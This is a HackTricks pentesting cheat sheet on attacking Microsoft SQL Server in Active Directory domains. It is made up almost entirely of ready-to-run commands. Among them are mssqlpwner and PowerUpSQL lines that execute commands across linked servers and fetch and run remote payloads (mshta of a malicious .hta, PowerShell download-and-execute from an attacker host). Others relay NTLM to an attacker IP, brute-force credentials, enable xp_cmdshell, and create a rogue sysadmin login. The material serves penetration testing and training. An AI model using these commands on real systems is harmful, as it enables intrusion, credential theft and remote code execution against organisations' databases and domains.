MSSQL AD Abuse - HackTricks

# MSSQL AD Abuse

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## MSSQL Enumeration / Discovery

### Python

The MSSQLPwner tool is based on impacket, and allows also authenticate using kerberos tickets, and attack through link chains

    # Interactive mode
    mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive

    # Interactive mode with 2 depth level of impersonations

    mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive

    # Executing custom assembly on the current server with windows authentication and executing hostname command

    mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

    # Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server

    mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

    # Executing the hostname command using stored procedures on the linked SRV01 server

    mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

    # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method

    mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

    # Issuing NTLM relay attack on the SRV01 server

    mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

    # Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25

    mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

    # Issuing NTLM relay attack on the local server with custom command

    mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

    # Executing direct query

    mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"

    # Retrieving password from the linked server DC01

    mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password

    # Execute code using custom assembly on the linked server DC01

    mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

    # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt

    mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

    # Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt

    mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

    # Bruteforce using tickets against the hosts listed on the hosts.txt

    mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

    # Bruteforce using passwords against the hosts listed on the hosts.txt

    mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

    # Bruteforce using hashes against the hosts listed on the hosts.txt

    mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

### Enumerating from the network without domain session

    # Interactive mode

    mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive

### Powershell

The powershell module PowerUpSQL is very useful in this case.

    Import-Module .\PowerupSQL.psd1

### Enumerating from the network without domain session

    # Get local MSSQL instance (if any)
    Get-SQLInstanceLocal
    Get-SQLInstanceLocal | Get-SQLServerInfo

    #If you don't have a AD account, you can try to find MSSQL scanning via UDP
    #First, you will need a list of hosts to scan
    Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

    #If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
    #The discovered MSSQL servers must be on the file: C:\temp\instances.txt
    Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

### Enumerating from inside the domain

    # Get local MSSQL instance (if any)
    Get-SQLInstanceLocal
    Get-SQLInstanceLocal | Get-SQLServerInfo

    #Get info about valid MSQL instances running in domain
    #This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
    Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

    #Test connections with each one
    Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

    #Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
    Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

    # Get DBs, test connections and get info in oneliner
    Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

## MSSQL Basic Abuse

### Access DB

    #Perform a SQL query
    Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

    #Dump an instance (a lotof CVSs generated in current dir)
    Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

    # Search keywords in columns trying to access the MSSQL DBs
    ## This won't use trusted SQL links
    Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

### MSSQL RCE

It might be also possible to execute commands inside the MSSQL host

    Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
    # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

Check in the page mentioned in the following section how to do this manually.

### MSSQL Basic Hacking Tricks

1433 - Pentesting MSSQL - Microsoft SQL Server

## MSSQL Trusted Links

If a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to use the trust relationship to execute queries also in the other instance. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.

The links between databases work even across forest trusts.

### Powershell Abuse

    #Look for MSSQL links of an accessible instance
    Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

    #Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
    Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

    #If you are sysadmin in some trusted link you can enable xp_cmdshell with:
    Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

    #Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
    Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

    #Obtain a shell
    Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

    #Check for possible vulnerabilities on an instance where you have access
    Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

    #Try to escalate privileges on an instance
    Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

    #Manual trusted link queery
    Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
    ## Enable xp_cmdshell and check it
    Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
    Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
    Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
    ## If you see the results of @@selectname, it worked
    Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

### Metasploit

You can easily check for trusted links using metasploit.

    #Set username, password, windows auth (if using AD), IP...
    msf> use exploit/windows/mssql/mssql_linkcrawler
    [msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method manually to execute commands, see more below.)

### Manual - Openquery()

From Linux you could obtain a MSSQL console shell with sqsh and mssqlclient.py.

From Windows you could also find the links and execute commands manually using a MSSQL client like HeidiSQL

Login using Windows authentication:

#### Find Trustable Links

    select * from master..sysservers;
    EXEC sp_linkedservers;

#### Execute queries in trustable link

Execute queries through the link (example: find more links in the new accessible instance):

    select * from openquery("dcorp-sql1", 'select * from master..sysservers')

> [!WARNING] Check where double and single quotes are used, it's important to use them that way.

You can continue these trusted links chain forever manually.

    # First level RCE
    SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

    # Second level RCE
    SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

If you cannot perform actions like `exec xp_cmdshell` from `openquery()` try with the `EXECUTE` method.

### Manual - EXECUTE

You can also abuse trusted links using `EXECUTE`:

    #Create user and give admin privileges
    EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
    EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

## Local Privilege Escalation

The MSSQL local user usually has a special type of privilege called `SeImpersonatePrivilege`. This allows the account to "impersonate a client after authentication".

A strategy that many authors have come up with is to force a SYSTEM service to authenticate to a rogue or man-in-the-middle service that the attacker creates. This rogue service is then able to impersonate the SYSTEM service whilst it's trying to authenticate.

SweetPotato has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command.

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.